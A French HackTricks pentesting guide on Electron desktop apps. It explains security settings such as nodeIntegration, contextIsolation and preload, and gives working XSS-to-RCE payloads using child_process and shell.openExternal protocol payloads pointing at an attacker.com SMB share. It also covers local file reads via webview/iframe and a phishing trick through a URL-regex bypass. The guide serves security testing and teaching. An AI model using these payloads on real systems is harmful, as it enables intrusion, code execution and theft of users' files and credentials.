hacktricks/network-services-pentesting/pentesting-web/electron-desktop-apps
2023-12-31 02:59:41 +00:00
..
electron-contextisolation-rce-via-electron-internal-code.md Translated ['linux-hardening/privilege-escalation/electron-cef-chromium- 2023-10-27 16:35:15 +00:00
electron-contextisolation-rce-via-ipc.md Translated ['linux-hardening/privilege-escalation/electron-cef-chromium- 2023-10-27 16:35:15 +00:00
electron-contextisolation-rce-via-preload-code.md Translated ['linux-hardening/privilege-escalation/electron-cef-chromium- 2023-10-27 16:35:15 +00:00
README.md Translated ['network-services-pentesting/pentesting-web/README.md', 'net 2023-12-31 02:59:41 +00:00

Applications de bureau Electron

Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres moyens de soutenir HackTricks :

Introduction

Electron est basé sur Chromium, mais ce n'est pas un navigateur. Certains principes et mécanismes de sécurité mis en œuvre par les navigateurs modernes ne sont pas en place.
Vous pourriez voir Electron comme une application locale backend+frontend où NodeJS est le backend et chromium est le frontend.

Habituellement, vous pourriez trouver le code de l'application electron à l'intérieur d'une application .asar, pour obtenir le code, vous devez l'extraire :

npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file

Dans le code source d'une application Electron, à l'intérieur de packet.json, vous pouvez trouver spécifié le fichier main.js où les configurations de sécurité sont définies.

{
"name": "standard-notes",
"main": "./app/index.js",

Electron a 2 types de processus :

  • Processus Principal (a un accès complet à NodeJS)
  • Processus de Rendu (devrait avoir un accès restreint à NodeJS pour des raisons de sécurité)

Un processus de rendu sera une fenêtre de navigateur chargeant un fichier :

const {BrowserWindow} = require('electron');
let win = new BrowserWindow();

//Open Renderer Process
win.loadURL(`file://path/to/index.html`);

Les paramètres du processus de rendu peuvent être configurés dans le processus principal à l'intérieur du fichier main.js. Certaines configurations empêcheront l'application Electron d'obtenir un RCE ou d'autres vulnérabilités si les paramètres sont correctement configurés.

L'application de bureau peut avoir accès au dispositif de l'utilisateur via les API Node. Les deux configurations suivantes sont responsables de fournir des mécanismes pour empêcher le JavaScript de l'application d'avoir un accès direct au dispositif de l'utilisateur et aux commandes de niveau système.

  • nodeIntegration - est off par défaut. Si activé, permet d'accéder aux fonctionnalités de node depuis le processus de rendu.
  • contextIsolation - est on par défaut. Si activé, les processus principal et de rendu ne sont pas isolés.
  • preload - vide par défaut.
  • sandbox - est désactivé par défaut. Il limitera les actions que NodeJS peut effectuer.
  • Intégration de Node dans les Workers
  • nodeIntegrationInSubframes- est off par défaut.
  • Si nodeIntegration est activé, cela permettrait l'utilisation des API Node.js dans les pages web qui sont chargées dans des iframes au sein d'une application Electron.
  • Si nodeIntegration est désactivé, alors les préchargements se chargeront dans l'iframe

Exemple de configuration :

const mainWindowOptions = {
title: 'Discord',
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true
}
};

Quelques RCE payloads d'ici :

Example Payloads (Windows):
<img src=x onerror="alert(require('child_process').execSync('calc').toString());">

Example Payloads (Linux & MacOS):
<img src=x onerror="alert(require('child_process').execSync('gnome-calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('id').toString());">
<img src=x onerror="alert(require('child_process').execSync('ls -l').toString());">
<img src=x onerror="alert(require('child_process').execSync('uname -a').toString());">

Capture du trafic

Modifiez la configuration de démarrage et ajoutez l'utilisation d'un proxy tel que :

"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",

Injection de code local Electron

Si vous pouvez exécuter localement une application Electron, il est possible que vous puissiez la faire exécuter du code javascript arbitraire. Vérifiez comment dans :

{% content-ref url="../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md" %} macos-electron-applications-injection.md {% endcontent-ref %}

RCE : XSS + nodeIntegration

Si nodeIntegration est réglé sur on, le JavaScript d'une page web peut facilement utiliser les fonctionnalités de Node.js simplement en appelant require(). Par exemple, la manière d'exécuter l'application calc sur Windows est :

<script>
require('child_process').exec('calc');
// or
top.require('child_process').exec('open /System/Applications/Calculator.app');
</script>
<figure><img src="../../../.gitbook/assets/image (5) (4).png" alt=""><figcaption></figcaption></figure>

## RCE : preload

Le script indiqué dans ce paramètre est **chargé avant les autres scripts dans le renderer**, donc il a **un accès illimité aux API Node** :
new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});

Par conséquent, le script peut exporter des fonctionnalités node vers des pages :

{% code title="preload.js" %}

typeof require === 'function';
window.runCalc = function(){
require('child_process').exec('calc')
};
{% endcode %}

{% code title="index.html" %}
<body>
<script>
typeof require === 'undefined';
runCalc();
</script>
</body>

{% endcode %}

{% hint style="info" %} Si contextIsolation est activé, cela ne fonctionnera pas {% endhint %}

RCE : XSS + contextIsolation

Le contextIsolation introduit des contextes séparés entre les scripts de la page web et le code interne JavaScript d'Electron de sorte que l'exécution de JavaScript de chaque code n'affecte pas l'autre. C'est une fonctionnalité nécessaire pour éliminer la possibilité de RCE.

Si les contextes ne sont pas isolés, un attaquant peut :

  1. Exécuter du JavaScript arbitraire dans le rendu (XSS ou navigation vers des sites externes)
  2. Écraser la méthode intégrée qui est utilisée dans le code de préchargement ou le code interne d'Electron par sa propre fonction
  3. Déclencher l'utilisation de la fonction écrasée
  4. RCE ?

Il y a 2 endroits où les méthodes intégrées peuvent être écrasées : Dans le code de préchargement ou dans le code interne d'Electron :

{% content-ref url="electron-contextisolation-rce-via-preload-code.md" %} electron-contextisolation-rce-via-preload-code.md {% endcontent-ref %}

{% content-ref url="electron-contextisolation-rce-via-electron-internal-code.md" %} electron-contextisolation-rce-via-electron-internal-code.md {% endcontent-ref %}

{% content-ref url="electron-contextisolation-rce-via-ipc.md" %} electron-contextisolation-rce-via-ipc.md {% endcontent-ref %}

Contournement de l'événement de clic

Si des restrictions sont appliquées lorsque vous cliquez sur un lien, vous pourriez être capable de les contourner en faisant un clic du milieu au lieu d'un clic gauche ordinaire

window.addEventListener('click', (e) => {

Exécution de commande à distance via shell.openExternal

Si l'application de bureau Electron est déployée avec les paramètres nodeIntegration, contextIsolation appropriés ; cela signifie simplement que l'exécution de commande à distance côté client en ciblant les scripts de préchargement ou le code natif Electron du processus principal ne peut pas être réalisée.

Chaque fois qu'un utilisateur clique sur un lien ou ouvre une nouvelle fenêtre, les écouteurs d'événements suivants sont invoqués :

{% code overflow="wrap" %}

webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
{% endcode %}

L'application de bureau **remplace ces écouteurs** pour implémenter sa propre **logique métier**. Lors de la création de nouvelles fenêtres, l'application vérifie si le lien navigué doit être ouvert dans une fenêtre ou un onglet de l'application de bureau, ou s'il doit être ouvert dans le navigateur web. Dans notre exemple, la vérification est mise en œuvre avec la fonction `openInternally`, si elle retourne `false`, l'application supposera que le lien doit être ouvert dans le navigateur web en utilisant la fonction `shell.openExternal`.

**Voici un pseudocode simplifié :**

![](<../../../.gitbook/assets/image (638) (2) (1) (1).png>)

![](<../../../.gitbook/assets/image (620).png>)

Conformément aux meilleures pratiques de sécurité d'Electron JS, la fonction `openExternal` **ne doit pas accepter de contenu non fiable** **car cela pourrait conduire à une RCE en abusant de différents protocoles** si l'application ne limite pas la navigation des utilisateurs à travers des protocoles tels que https:// ou http://.

Différents systèmes d'exploitation prennent en charge différents protocoles qui pourraient déclencher une RCE, pour plus d'informations à leur sujet, consultez [https://positive.security/blog/url-open-rce](https://positive.security/blog/url-open-rce#windows-10-19042) mais voici quelques exemples pour Windows :
<script>
window.open("ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22")
</script>


<script>
window.open("search-ms:query=malicious_executable.exe&crumb=location:%5C%[5Cattacker.com](<http://5cattacker.com/>)%5Csmb_share%5Ctools&displayname=Important%20update")
</script>


<script>
window.open("ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D")
</script>

Pour plus d'informations sur ces exemples, consultez https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8 et https://benjamin-altpeter.de/shell-openexternal-dangers/

Lire des fichiers internes : XSS + contextIsolation

Si contextIsolation est défini sur false, vous pouvez essayer d'utiliser <webview> (similaire à <iframe> mais peut charger des fichiers locaux) pour lire des fichiers locaux et les exfiltrer : en utilisant quelque chose comme <webview src=”file:///etc/passwd”></webview> :

Une autre manière de lire un fichier interne à partir de ce writeup :

<br><BR><BR><BR>
<h1>pwn<br>
<iframe onload=j() src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j(){alert('pwned contents of /etc/hosts :\n\n '+frames[0].document.body.innerText)}
</script>

RCE : XSS + Ancien Chromium

Si le chromium utilisé par l'application est ancien et qu'il existe des vulnérabilités connues, il pourrait être possible d'exploiter ces failles et obtenir un RCE via un XSS.
Vous pouvez voir un exemple dans ce writeup : https://blog.electrovolt.io/posts/discord-rce/

XSS Phishing via contournement de l'expression régulière d'URL interne

Supposons que vous ayez trouvé un XSS mais que vous ne pouvez pas déclencher de RCE ou voler des fichiers internes, vous pourriez essayer de l'utiliser pour voler des identifiants via du phishing.

Tout d'abord, vous devez savoir ce qui se passe lorsque vous essayez d'ouvrir une nouvelle URL, en vérifiant le code JS côté front-end :

webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {}                    // opens the custom openInternally function (it is declared below)

L'appel à openInternally déterminera si le lien sera ouvert dans la fenêtre du bureau comme s'il s'agissait d'un lien appartenant à la plateforme, ou s'il sera ouvert dans le navigateur comme une ressource tierce.

Dans le cas où la regex utilisée par la fonction est vulnérable aux contournements (par exemple en ne pas échappant les points des sous-domaines), un attaquant pourrait exploiter le XSS pour ouvrir une nouvelle fenêtre qui se trouvera dans l'infrastructure de l'attaquant demandant des identifiants à l'utilisateur :

<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>

Outils

  • Electronegativity est un outil pour identifier les mauvaises configurations et les anti-modèles de sécurité dans les applications basées sur Electron.
  • Electrolint est un plugin open source pour VS Code pour les applications Electron qui utilise Electronegativity.
  • nodejsscan pour vérifier les bibliothèques tierces vulnérables
  • Electro.ng : Vous devez l'acheter

Labs

Dans https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s vous pouvez trouver un lab pour exploiter des applications Electron vulnérables.

Quelques commandes qui vous aideront avec le lab :

# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip

# Get inside the electron app and check for vulnerabilities
npm audit

# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1

# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start

Références

Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres moyens de soutenir HackTricks :